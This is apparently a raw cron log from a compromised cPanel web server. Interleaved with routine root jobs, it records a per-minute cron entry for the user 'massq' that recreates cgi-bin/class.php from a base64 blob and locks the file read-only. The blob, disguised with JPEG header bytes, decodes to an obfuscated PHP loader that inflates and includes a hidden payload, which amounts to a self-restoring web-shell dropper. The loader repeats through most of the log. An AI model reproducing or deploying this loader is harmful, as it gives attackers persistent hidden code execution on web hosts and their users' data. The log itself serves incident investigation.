Nov 11 23:44:01 server CROND[14523]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:45:01 server CROND[15423]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 23:45:01 server CROND[15424]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 23:45:01 server CROND[15425]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:46:01 server CROND[15859]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:47:01 server CROND[16625]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:48:01 server CROND[17455]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:49:01 server CROND[18334]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:50:01 server CROND[19255]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 23:50:01 server CROND[19256]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 23:50:01 server CROND[19260]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 23:50:01 server CROND[19261]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:50:01 server CROND[19270]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 23:51:01 server CROND[20138]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:52:01 server CROND[20902]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:53:01 server CROND[21770]: (root) CMD (/usr/lib64/sa/sa2 -A)
Nov 11 23:53:01 server CROND[21771]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:54:01 server CROND[22594]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:55:01 server CROND[23528]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:55:01 server CROND[23529]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 23:55:01 server CROND[23527]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 23:56:01 server CROND[24553]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:57:01 server CROND[25297]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
